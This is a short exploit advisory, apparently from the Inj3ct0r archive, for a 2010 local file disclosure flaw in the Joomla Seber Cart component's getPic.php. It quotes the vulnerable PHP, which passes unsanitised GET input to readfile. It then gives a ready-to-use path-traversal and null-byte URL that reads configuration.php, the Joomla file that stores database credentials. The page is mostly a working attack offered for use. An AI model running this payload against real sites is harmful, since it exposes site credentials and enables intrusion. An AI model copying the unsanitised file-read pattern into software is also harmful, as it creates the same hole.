Home / os / win7

Joomla Component Seber Cart (getPic.php) Local File Disclosu

Posted on 13 May 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Joomla Component Seber Cart (getPic.php) Local File Disclosure Vuln</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>============================================================================ Joomla Component Seber Cart (getPic.php) Local File Disclosure Vulnerability ============================================================================ Software : com_sebercart version 1.0.0.1x Vendor : http://www.seber.com.au/ ========================================================================================================= [o] Vulnerable File components/com_sebercart/getPic.php if (file_exists($_GET['p'] . &quot;/components/com_sebercart/thumbs/&quot; . $_GET['pk'] . &quot;.jpg&quot;)) { header('Content-type: image/jpeg'); header('Content-Disposition: attachment; filename=&quot;image.jpg&quot;'); readfile($_GET['p'] . &quot;/components/com_sebercart/thumbs/&quot; . $_GET['pk'] . &quot;.jpg&quot;); } [o] Exploit http://localhost/[path]/components/com_sebercart/getPic.php?p=[LFD]%00 Download the image.jpg file and open with notepad or gedit. [o] PoC http://localhost/components/com_sebercart/getPic.php?p=../../configuration.php%00 ========================================================================================================= # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-13]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP